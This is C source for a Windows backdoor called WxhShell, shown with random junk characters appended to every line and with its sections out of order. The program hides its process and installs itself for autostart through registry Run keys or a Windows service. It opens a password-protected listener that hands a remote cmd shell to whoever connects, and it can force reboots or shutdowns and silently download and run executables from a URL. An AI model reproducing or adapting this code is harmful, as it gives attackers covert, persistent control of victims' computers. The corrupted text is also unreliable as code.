  // 关机 wz1fl#WU  
  case 'd': { ^\Gukkmh}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (w/)u  
    if(Boot(SHUTDOWN)) :0o,pndU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xTV3U9 v  
    else { azT@S=,  
    closesocket(wsh); s;NPY  
    ExitThread(0); XkE'k;AEx  
    } tIJ?caX5=  
    break; 2 ,bLEhu  
    } 6O9?":3;  
  // 获取shell ;c;5O@R}3  
  case 's': { ouO<un  
    CmdShell(wsh); AC& }8w[>u  
    closesocket(wsh); FXd><#U  
    ExitThread(0); i<>zN^zn  
    break; tJgo% P1  
  } @Q#<-/  
  // 退出 ,'>,N/JA  
  case 'x': { WiBO8N,%`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); SRfnT?u6  
    CloseIt(wsh); Vub ($  
    break; qQ=\R1l  
    } 5L%\rH&N  
  // 离开 u?-X07_  
  case 'q': { PY{])z3N  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); hnD=DLW $  
    closesocket(wsh); <-avC/M$d  
    WSACleanup(); h|Os T  
    exit(1); v5Qp[O_  
    break; D1g .Fek5  
        } b,MzHx=im  
  } z&@O\>Q  
  } "T0s7LWp  
~o?(O1QY  
  // 提示信息 a3?D@@Qnw  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8e{S(FZ7Ed  
} W2 p&LP  
  } 1w|C+m/(  
oBqWIXM  
  return; 6OOdVS3\J  
} XA4miQn&  
CUG3C  
// shell模块句柄 -w#*~Q{'*  
int CmdShell(SOCKET sock) 8n`O{8:fi  
{ ;(1Xb   
STARTUPINFO si; fO'"UI  
ZeroMemory(&si,sizeof(si)); "T+oXK\B  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o1B8_$aYgc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; hJsYKd8g  
PROCESS_INFORMATION ProcessInfo; vD@ =V#T  
char cmdline[]="cmd"; L%sskV(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); D <SLv,Y  
  return 0; CQGq}.Jt!  
} Q`* v|Lp  
U 4Sxr  
// 自身启动模式 ^w1&A 3=6  
int StartFromService(void) `of` uB  
{ i=mk#.j~  
typedef struct  WPnw  
{ ay-M.J  
  DWORD ExitStatus; h:qt?$]J  
  DWORD PebBaseAddress; %hM8px4d  
  DWORD AffinityMask; xLp<G(;  
  DWORD BasePriority; -Nn@c|fz  
  ULONG UniqueProcessId; 7>sNjOt@M  
  ULONG InheritedFromUniqueProcessId; 52H'aHO1  
}   PROCESS_BASIC_INFORMATION; b IZuZF>*  
L2GUrf  
PROCNTQSIP NtQueryInformationProcess; ln~;Osb  
P g{/tM Y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; A.@/~\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; yR|Beno  
Mb0l*'ZF  
  HANDLE             hProcess; YrRD3P.P  
  PROCESS_BASIC_INFORMATION pbi; 7F!(60xY  
=mWr8p-H  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); d=J$H<  
  if(NULL == hInst ) return 0; C[0*>W8o  
byrK``f  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); M`jqU g  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); VGDds  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); R<-u`uX nP  
pA|Z%aL  
  if (!NtQueryInformationProcess) return 0; fVJsVZ"6v`  
zVL"$ )  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9f/RD?(1O  
  if(!hProcess) return 0; Q+ tUxa+  
J/ ! Mt  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %DqPRl.Gu  
1B#Z<p  
  CloseHandle(hProcess); G,]%dZH e  
WBIJ9e2~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Rfuq(DwD6  
if(hProcess==NULL) return 0; f5p:o}U*  
wE*jN~  
HMODULE hMod; ;3 |Z}P  
char procName[255]; "B 9aJo  
unsigned long cbNeeded; H)u<$y!8  
Frxim  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); A3jT;D9Y%  
D;RZE  
  CloseHandle(hProcess); aOWfu^&H:  
ImnN&[Cu  
if(strstr(procName,"services")) return 1; // 以服务启动 IC[iCrB  
D6wg^ 'Q:  
  return 0; // 注册表启动 {TV6eV  
} s2'] "wM  
&t0toEj  
// 主模块 } eL*gy  
int StartWxhshell(LPSTR lpCmdLine) _ U%fD|t  
{ :j=/>d],%  
  SOCKET wsl; /`)>W :  
BOOL val=TRUE; 'i5V6yB  
  int port=0; (w+dB8 )X  
  struct sockaddr_in door; ~ R:=zGDV  
qDzd_E@aR  
  if(wscfg.ws_autoins) Install(); W\W|v?r  
B)1.CHV%<  
port=atoi(lpCmdLine); M1sR+e$"  
p~h)@  
if(port<=0) port=wscfg.ws_port; ={GYJ. *Ah  
ejID5NqG  
  WSADATA data; t(,_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4PVkKP'/  
vxmz3ht,Q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   OB&lq.r  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \4B2%H  
  door.sin_family = AF_INET; /'S@iq  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); n,.ZLuBEX  
  door.sin_port = htons(port); 4Em$L]7   
+d=cI  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { hj8S#  
closesocket(wsl); /!//i^  
return 1; 7j <:hF~  
} k'hJ@ 6eKS  
Gx.iZOOH/  
  if(listen(wsl,2) == INVALID_SOCKET) { 9sR?aW^$,/  
closesocket(wsl); mV58&SZT  
return 1; 9)Jc'd|  
} HS% P  
  Wxhshell(wsl); k8~/lE.Wy  
  WSACleanup(); H$j`75#u?-  
) C?emTih  
return 0; :gvw5h%  
p` '8M  
} n qR8uL>  
ND3(oes+;K  
// 以NT服务方式启动 q!5 *) nw"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !oDX+hd,%>  
{ Tn'_{@E;  
DWORD   status = 0; Gxj3/&]^Y  
  DWORD   specificError = 0xfffffff; $G_,$U !  
HalkNR-eEm  
  serviceStatus.dwServiceType     = SERVICE_WIN32; B< `'h  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; e{8j(` (;#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9w%|Nk>=>  
  serviceStatus.dwWin32ExitCode     = 0; X9d~r_2&m<  
  serviceStatus.dwServiceSpecificExitCode = 0; /61P`1y(J  
  serviceStatus.dwCheckPoint       = 0; e=]>TeqG0  
  serviceStatus.dwWaitHint       = 0; rTR4j>Ua~  
:Ur=}@Dj  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]nEZ Q+F  
  if (hServiceStatusHandle==0) return; ?\eq!bu  
6axDuwQ  
status = GetLastError(); Ckelr  
  if (status!=NO_ERROR) ]B;\?Tim  
{ `9+>2*k  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2L'vB1 `  
    serviceStatus.dwCheckPoint       = 0; wGXnS"L!  
    serviceStatus.dwWaitHint       = 0; 8\85Wk{b  
    serviceStatus.dwWin32ExitCode     = status; e>:bV7h j~  
    serviceStatus.dwServiceSpecificExitCode = specificError; c2,1d`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^YpA@`n  
    return; bg8<}~zg  
  } `?X=@  
)AX0x1I|E  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; PhS`,I^Z  
  serviceStatus.dwCheckPoint       = 0; H| uvcvf  
  serviceStatus.dwWaitHint       = 0; -RSPYQjz  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <N Lor55.]  
} #..-!>lY  
]T3dZ`-(  
// 处理NT服务事件,比如:启动、停止 0S{dnp  
VOID WINAPI NTServiceHandler(DWORD fdwControl) J5J$qCJq  
{ k]vrqjn Q  
switch(fdwControl) jmcb-=ts  
{ Or0eY#c  
case SERVICE_CONTROL_STOP: :OF:(,J  
  serviceStatus.dwWin32ExitCode = 0; qrFC4\q}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; b :Knc$  
  serviceStatus.dwCheckPoint   = 0; $7#N@7  
  serviceStatus.dwWaitHint     = 0; Bhy:" r%#  
  { a!;]9}u7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @Gs*y1  
  } 78s:~|WB<{  
  return; d" "GG/  
case SERVICE_CONTROL_PAUSE: IQZBH2R  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]aqHk  
  break; Qo4+=^(  
case SERVICE_CONTROL_CONTINUE: q;))3aQe  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; jf&LSK;2  
  break; <eObQ[mQ  
case SERVICE_CONTROL_INTERROGATE: Bh9O<|E  
  break; !Cm<K*c"&E  
}; %'}L.OvG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _L6WbRu|  
} MNE{mV(  
^8mF0K&  
// 标准应用程序主函数 X[frL)k]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) nt/+?Sj  
{ f PoC yl  
0/8rYBV  
// 获取操作系统版本 I 9yN TD  
OsIsNt=GetOsVer(); h\ (z!7t*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *cdr,AD?lH  
He)<S?X-6  
  // 从命令行安装 Wdt9k.hzN  
  if(strpbrk(lpCmdLine,"iI")) Install(); "d a%@Zy  
=:+k  
  // 下载执行文件 0hKF)b  
if(wscfg.ws_downexe) { p< fKj  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _)J;PbK~  
  WinExec(wscfg.ws_filenam,SW_HIDE); +F &,,s"&  
} %!r>]M <  
@#T*OH  
if(!OsIsNt) { dQ=mg#(  
// 如果时win9x,隐藏进程并且设置为注册表启动 BReNhk)S  
HideProc(); f6 zT  
StartWxhshell(lpCmdLine); 6]i"lqb  
} 8{5Y%InL  
else Hev S}L  
  if(StartFromService()) uzO%+B!  
  // 以服务方式启动 f\Bd lOJ>  
  StartServiceCtrlDispatcher(DispatchTable); AsRS7V  
else SR 9 Cl  
  // 普通方式启动 i$) `U]  
  StartWxhshell(lpCmdLine); q16RPqfT  
G>?hojvi  
return 0; qll)  
} ,3G8afo  
^X6fgsjz  
u,:GJU  
(C#9/WO?  
=========================================== {:&t;5qz^  
DiK@>$v  
i|X ;n  
Azx4+`!-  
q$EicH}k8  
IqK??KSC  
" aU]A#g   
(F$V m  
#include <stdio.h> l`L}*Q- 5  
#include <string.h> ]8(_{@ /  
#include <windows.h> :)v4:&do  
#include <winsock2.h> V#?GDe}[  
#include <winsvc.h> r;`6ML[5Vx  
#include <urlmon.h> ; d1\2H  
n'D1s:W^B  
#pragma comment (lib, "Ws2_32.lib") 7|6uY  
#pragma comment (lib, "urlmon.lib") !>B|z=  
,?GEL>F  
#define MAX_USER   100 // 最大客户端连接数  {g?$u  
#define BUF_SOCK   200 // sock buffer xrX^";}j  
#define KEY_BUFF   255 // 输入 buffer )v1n#m,W  
nDnSVrvd-i  
#define REBOOT     0   // 重启 & ?mH[rG"  
#define SHUTDOWN   1   // 关机 BN&^$1F((  
t\nYUL-H  
#define DEF_PORT   5000 // 监听端口 #C1u~db  
B./Lp_QK  
#define REG_LEN     16   // 注册表键长度 'AN3{  
#define SVC_LEN     80   // NT服务名长度 Hm|8ydNs  
6[kp#  
// 从dll定义API i]8HzKuiW  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Rh-e C6P  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !/G2vF"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); TI-8I)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @Otom'O  
oD]tHuDa  
// wxhshell配置信息 zhH-lMNj-  
struct WSCFG { 1u&}Lq(  
  int ws_port;         // 监听端口 w66iLQ\@  
  char ws_passstr[REG_LEN]; // 口令 @b\/\\{  
  int ws_autoins;       // 安装标记, 1=yes 0=no YaJ[39V  
  char ws_regname[REG_LEN]; // 注册表键名 K!6k<  
  char ws_svcname[REG_LEN]; // 服务名 G(F }o]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 * 8n0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 EnXNTat})  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Jrd:6Z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no v*'dA^Q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" S6gg(nNe  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bX%9'O[-  
7A|n*'[T>  
}; PSz|I8 c  
/t`s.!k  
// default Wxhshell configuration dieGLA<5_X  
struct WSCFG wscfg={DEF_PORT, :R+}[|FV  
    "xuhuanlingzhe", Uk=jQfA*J  
    1, b: UTq 7^  
    "Wxhshell", t W ;1  
    "Wxhshell", M=hxOta  
            "WxhShell Service", H%`Ja('"p  
    "Wrsky Windows CmdShell Service", hER]%)#r  
    "Please Input Your Password: ", )IQa]A  
  1, )%lPa|7s  
  "http://www.wrsky.com/wxhshell.exe", [V_Z9-f*  
  "Wxhshell.exe" bhaIi>W~G  
    }; T!C39T  
:B?C~U k  
// 消息定义模块 jovI8Dw >  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; UN'[sHjOnD  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6('2.^8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?zW4|0  
char *msg_ws_ext="\n\rExit."; Vo^ i7  
char *msg_ws_end="\n\rQuit."; Pu dIb|V2  
char *msg_ws_boot="\n\rReboot..."; /?<o?IR~6  
char *msg_ws_poff="\n\rShutdown..."; H'E(gc)>)  
char *msg_ws_down="\n\rSave to "; Coz\fL  
) -x0xY  
char *msg_ws_err="\n\rErr!"; f0+)%gO{  
char *msg_ws_ok="\n\rOK!"; &GF@9BXI3  
zi l^^wT0J  
char ExeFile[MAX_PATH]; hw/ :  
int nUser = 0; ]cvP !  
HANDLE handles[MAX_USER];  }t}y  
int OsIsNt;  nen(  
+6tj w 6  
SERVICE_STATUS       serviceStatus; 7}>7@W8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; x"q!=&>f  
^$-ID6  
// 函数声明 ` 6a  
int Install(void); b_2bg>|;  
int Uninstall(void); gE$D#PZa  
int DownloadFile(char *sURL, SOCKET wsh); H&`0I$8m  
int Boot(int flag); fz'@ON  
void HideProc(void); %O] ]La  
int GetOsVer(void); 53efF bo  
int Wxhshell(SOCKET wsl); yO\ .dp  
void TalkWithClient(void *cs); -\C;2&(  
int CmdShell(SOCKET sock); r:fMd3;gq  
int StartFromService(void); BEWDTOY[  
int StartWxhshell(LPSTR lpCmdLine); Lky<L96  
~>v v9-_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 57 (bd0@8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $m{-I=  
UXpF$=  
// 数据结构和表定义 \ vf&Ldk  
SERVICE_TABLE_ENTRY DispatchTable[] = m,YBk<Bx  
{ _p0@1 s(U  
{wscfg.ws_svcname, NTServiceMain}, a=n* }.  
{NULL, NULL} @I_!q*  
}; %0 cFs'  
Msj(>U&}+  
// 自我安装 VZhtx)  
int Install(void) (R^X3  
{ +S/OMkC  
  char svExeFile[MAX_PATH]; EjxzX1:  
  HKEY key; *Ae> ,LyE  
  strcpy(svExeFile,ExeFile); )LOV)z|}  
t!^ j0q  
// 如果是win9x系统,修改注册表设为自启动 "u29| OY  
if(!OsIsNt) { pjG/`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'Lm\ r+$F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7dxTyn=  
  RegCloseKey(key); PydU.,^7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]J|]IP Xy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u*n%cXY;J/  
  RegCloseKey(key); ;5S'?fj  
  return 0; Q8d-yJs&  
    } '0ks`a4q  
  } hbfN1 "z  
} Tfsx&k\  
else { Lt'FA  
LT+QW  
// 如果是NT以上系统,安装为系统服务 Qdt4h$~V"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3+:F2sjt  
if (schSCManager!=0) s>pM+PoGYd  
{ ^HiI   
  SC_HANDLE schService = CreateService y}aKL(AaU  
  ( /i:c!l9  
  schSCManager, a ][t#`  
  wscfg.ws_svcname, \tCxz(vKz  
  wscfg.ws_svcdisp, /[V}   
  SERVICE_ALL_ACCESS, Go;fQ yG  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , GN0s`'#"3%  
  SERVICE_AUTO_START, 3.0t5F<B  
  SERVICE_ERROR_NORMAL, pUV4oyGV   
  svExeFile, Uw!N;QsC  
  NULL, rJz`v/:|P  
  NULL, 85e!)I_  
  NULL, {pJf ~  
  NULL, |f+`FOliP  
  NULL /+ yIcE(&3  
  ); 58]C``u@Y  
  if (schService!=0) bf4QW JZD  
  { CpGy'Ia  
  CloseServiceHandle(schService); "@s</HGo  
  CloseServiceHandle(schSCManager); :<QmG3F  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); a8w/#!^34  
  strcat(svExeFile,wscfg.ws_svcname); "A9qC*6[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Pl/}`H:R&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); A WS[e$Mt2  
  RegCloseKey(key); nNc>nB1  
  return 0; V'iT>  
    }  Y%zYO  
  } ny l[d|pVa  
  CloseServiceHandle(schSCManager); H{1'OC  
} MP6Py@J45  
} ;N(9nX}%)  
7gnrLc$]O  
return 1; woyn6Z1JQ  
} OyG#  
*4 HogC  
// 自我卸载 jA' 7@/F/  
int Uninstall(void) Bx" eX>A8  
{ l $:?82{  
  HKEY key; Rlwewxmr  
d_] sV4[  
if(!OsIsNt) { n=iL6Yu(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (8Inf_59  
  RegDeleteValue(key,wscfg.ws_regname); &@U)  
  RegCloseKey(key); -]~KQvIH!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *S= c0  
  RegDeleteValue(key,wscfg.ws_regname); p|0ZP6!|  
  RegCloseKey(key); E{8-VmY  
  return 0; <FofRFaS  
  } _C4N6YdU  
} -Cc2|~n  
} hd%O\D?  
else { P9f,zM-  
/RBIZ_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;!:@3c  
if (schSCManager!=0) 0 zn }l6OS  
{ 8#h~J>u.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \Y$@$)   
  if (schService!=0) i5; _  
  { V2oXg  
  if(DeleteService(schService)!=0) { H[J5A2b  
  CloseServiceHandle(schService); WB|N)3-1  
  CloseServiceHandle(schSCManager); =IEei{  
  return 0; H[[#h=r0f  
  } :zK\t5  
  CloseServiceHandle(schService); #>_5PdO  
  } j 21>\K!p  
  CloseServiceHandle(schSCManager); p%#=OtkC  
} =@*P})w5.  
} @!KG;d:l  
@3_."-d  
return 1; Xf6\{  
} hOM#j  
L g2z `uv  
// 从指定url下载文件 g$T% C?  
int DownloadFile(char *sURL, SOCKET wsh) h { M=V  
{ |y DaFv  
  HRESULT hr; Jq8:33s   
char seps[]= "/"; %T,cR>lw  
char *token; Lgrpy  
char *file; 5c 69M5  
char myURL[MAX_PATH]; %d^ =$Q  
char myFILE[MAX_PATH]; Z_ (P^/  
(Y~gItej  
strcpy(myURL,sURL); I*EHZctH  
  token=strtok(myURL,seps); 58[.]f~0  
  while(token!=NULL) fD~f_Wr  
  { \qw1\-q  
    file=token; Xu%8Q?]  
  token=strtok(NULL,seps); gxCl=\  
  } Ocf:73t  
HSlAm&Y\  
GetCurrentDirectory(MAX_PATH,myFILE); ,r,$x4*  
strcat(myFILE, "\\"); XLj|y#h  
strcat(myFILE, file); 4O '%$6KR(  
  send(wsh,myFILE,strlen(myFILE),0); rOTxD/  
send(wsh,"...",3,0); PNRZUZ4Z|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -:|t^RM;FT  
  if(hr==S_OK) D[Kq`  
return 0; H|s,;1#  
else 3)3$ L  
return 1; {O5(O oDa  
&w{: qBa  
} ~mk>9Gp  
Z ItS(o J.  
// 系统电源模块 >*"1`vcxF  
int Boot(int flag) S&{#sl#e  
{ dw3H9(-lp  
  HANDLE hToken; _KAg1Ww  
  TOKEN_PRIVILEGES tkp; C7_nA:Rc  
!Nx'4N`&l  
  if(OsIsNt) { T3In0LQ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); uU!}/mbo  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); t$(<9  
    tkp.PrivilegeCount = 1; `Oe"s_O#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {8w,{p`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~vw$Rnotz  
if(flag==REBOOT) { AR6hfdDDT  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) O=\`q6l  
  return 0; 9k3RC}dEr  
} Ct9dV7SH  
else { QP<vjj%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) EzGO/uZ]  
  return 0; &e;GoJ  
} UY/qI%#L#,  
  } F+285JK  
  else { ldRisL  
if(flag==REBOOT) { Qkx}A7sK  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Q=#@g  
  return 0; x?n13C  
} WNo<0|X  
else { 7qEc9S@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) jI45X22j  
  return 0; /(?,S{]  
} ?.6fVSa  
} lzK,VZ=mM  
*s (L!+  
return 1; !"s~dL,7  
} OJXK]dZ  
~zyD=jx P9  
// win9x进程隐藏模块 #GIjU1-  
void HideProc(void) <iN xtD0  
{ +uB.)wr  
U{Moyj  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); uM@ve(8\  
  if ( hKernel != NULL ) xF7q9'/F  
  { +|6 u 0&R^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); TA>28/U#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Ue!~|:  
    FreeLibrary(hKernel); qExmf%q:q  
  } "cx#6Bo|  
%-#rzeaW  
return; 3mH(@ -OA  
} BOWR}n!g  
s#%P9A  
// 获取操作系统版本 =6< Am  
int GetOsVer(void) X$9 "dL  
{ H@V+Q}  
  OSVERSIONINFO winfo; !R3ZyZcX  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ">!<OB  
  GetVersionEx(&winfo); O%p+P<J  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ??h4qJ  
  return 1; IT0 [;eqR  
  else *."a>?D~  
  return 0; uYAMW{AT  
} SZL('x,"^  
wfrSI:+>  
// 客户端句柄模块 \@hq7:Q  
int Wxhshell(SOCKET wsl) wjnQK  
{ H% "R _[+  
  SOCKET wsh; Z{gJm9  
  struct sockaddr_in client; :L'U>)k  
  DWORD myID; l S m7i  
"Nlw&+ c7  
  while(nUser<MAX_USER) LA%t'n h  
{ UxS@]YC  
  int nSize=sizeof(client); u iEAi  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0^ IHBN?9  
  if(wsh==INVALID_SOCKET) return 1; L4?)N&V  
^KO=8m( )J  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); o6LZ05Z-&  
if(handles[nUser]==0) u^NZsuak  
  closesocket(wsh); tP ;^;nw  
else Fo86WP}  
  nUser++; `PVr;&  
  } dX8N7{"[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); m\O|BMHn  
cm!|A)~  
  return 0; f+o%N  
} ~DJ>)pp  
Dd:;8Xo  
// 关闭 socket )of?!>'S[  
void CloseIt(SOCKET wsh) g k.c"$2  
{ Sgy_?Y  
closesocket(wsh); JE$aYs<(TF  
nUser--; K9 tuiD+j  
ExitThread(0); 7[}K 2.W.  
} !f^'-  
O?I~XM'S  
// 客户端请求句柄 XKEd~2h<y  
void TalkWithClient(void *cs) sVjM^y24  
{ h;(#^+LH  
d l<7jM?  
  SOCKET wsh=(SOCKET)cs; 6JYVC>i  
  char pwd[SVC_LEN]; TDtS^(2A7K  
  char cmd[KEY_BUFF]; i& ,Wg8#R  
char chr[1]; LQs>[3rK  
int i,j; ARt+"[.*p  
M],}.l  
  while (nUser < MAX_USER) { -(Y(K!n  
RIDzNdM>U  
if(wscfg.ws_passstr) { <,S5(pZ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $<[Q8V-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qek[p_7  
  //ZeroMemory(pwd,KEY_BUFF); #A RQB2V  
      i=0; :@H&v%h(u  
  while(i<SVC_LEN) { ygA~d9"  
b?~%u+'3  
  // 设置超时 37S  bF,G  
  fd_set FdRead; 1oSrhUTy  
  struct timeval TimeOut; PqO PRf  
  FD_ZERO(&FdRead); {M.OOEcIp  
  FD_SET(wsh,&FdRead); 0F495'*A  
  TimeOut.tv_sec=8; jBO/1h=  
  TimeOut.tv_usec=0; uV@#;c4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "Y> #=>8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (pl|RmmDz  
dV( "g],  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %}nNwuJ  
  pwd=chr[0]; ]&dU%9S  
  if(chr[0]==0xd || chr[0]==0xa) { gC+PpY#2h  
  pwd=0; v%=@_`Ht  
  break; ka^sOC+Y  
  } ^J TrytIB  
  i++; %ZajM  
    } j<HBzqP%6  
l=*60Ag\J~  
  // 如果是非法用户,关闭 socket srh>" 2."  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); zree}VqD;5  
} X &z|im'd  
:?*|Dp1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); lD%Fk3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZJ$nHS?ra  
 *XlbD  
while(1) { 4DYa~ =w  
=nQgS.D  
  ZeroMemory(cmd,KEY_BUFF); O)$rC  
nkp,  
      // 自动支持客户端 telnet标准   ]r^/:M  
  j=0; NM`5hd{  
  while(j<KEY_BUFF) { bI_6';hq!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C3XB'CL6  
  cmd[j]=chr[0]; Q||v U  
  if(chr[0]==0xa || chr[0]==0xd) { |[RoR  
  cmd[j]=0; cIL I%W1  
  break; V+A9.KoI  
  } !>,\KxnM  
  j++; iB]xYfQ&@V  
    } kgq"b)  
1kd\Fq^z$  
  // 下载文件  rk F>c  
  if(strstr(cmd,"http://")) { uX!5G:x]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); b6mSPH@  
  if(DownloadFile(cmd,wsh)) &y7<h>z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); hnk,U:7}  
  else BrHw02G  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q|DVB  
  } <WHu</  
  else { .qN|.:6a  
ho'Ihep,L  
    switch(cmd[0]) { Qb.Ve7c  
  QGR}`n2D  
